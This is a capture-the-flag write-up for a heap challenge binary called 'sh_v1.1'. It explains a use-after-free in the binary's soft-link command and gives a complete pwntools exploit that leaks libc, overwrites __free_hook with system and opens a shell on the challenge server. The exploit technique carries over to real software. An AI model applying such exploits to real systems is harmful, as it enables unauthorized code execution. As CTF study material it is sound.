「Pwn」Pwn March Pwn Writeup WP Reproduction
· 2 min read
sh_v1.1
The challenge implements some shell functionalities, but I really didn't understand the logic behind them. However, it's just obfuscation, so it doesn't matter.
In the ln src dest
command, the soft link is implemented. Unlike cp
, it directly copies pointer_arr
over instead of malloc
and then strncpy
copy. When removing the original file with rm
, the soft link file is not deleted at the same time, which leads to UAF exploitation.
The version is 2.31. Simply leak libc through Unsorted bin and then overwrite freehook
with gedit
to gain code execution.
exp:
from pwn import *
context(log_level='DEBUG', arch='amd64', os='linux')
context.terminal = "wt.exe nt bash -c".split()
# sh = process(['./sh_v1.1'])
sh = remote("121.40.89.206", 34883)
# libc = ELF('/home/nova/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
for i in range(9):
sh.sendlineafter(b'>>>>', f'touch {i}'.encode())
sh.sendline(chr(i+ord('a'))*0x20)
sh.sendlineafter(b'>>>>', f'ln 1 9'.encode()) # 9 <--> 1
sh.sendlineafter(b'>>>>', f'ln 2 10'.encode()) # 10 <--> 2
for i in range(8,-1,-1):
sh.sendlineafter(b'>>>>', f'rm {i}'.encode())
sh.sendlineafter(b'>>>>', f'cat 9'.encode())
libc_base = u64(sh.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 96 - 0x10 - 0x1ebb70
__free_hook = libc_base + 0x01eeb28
system_addr = libc_base + 0x055410
print("libc_base >>", hex(libc_base))
sh.sendlineafter(b'>>>>', f'gedit 10'.encode())
# gdb.attach(sh)
# pause(4)
sh.sendline(p64(__free_hook) + p64(0))
sh.sendlineafter(b'>>>>', f'touch 11'.encode())
sh.sendline(b'/bin/sh')
sh.sendlineafter(b'>>>>', f'touch 12'.encode())
sh.sendline(p64(system_addr))
sh.sendlineafter(b'>>>>', f'rm 11'.encode())
sh.interactive()
kheap
Refer to First Attempt at Kernel Challenges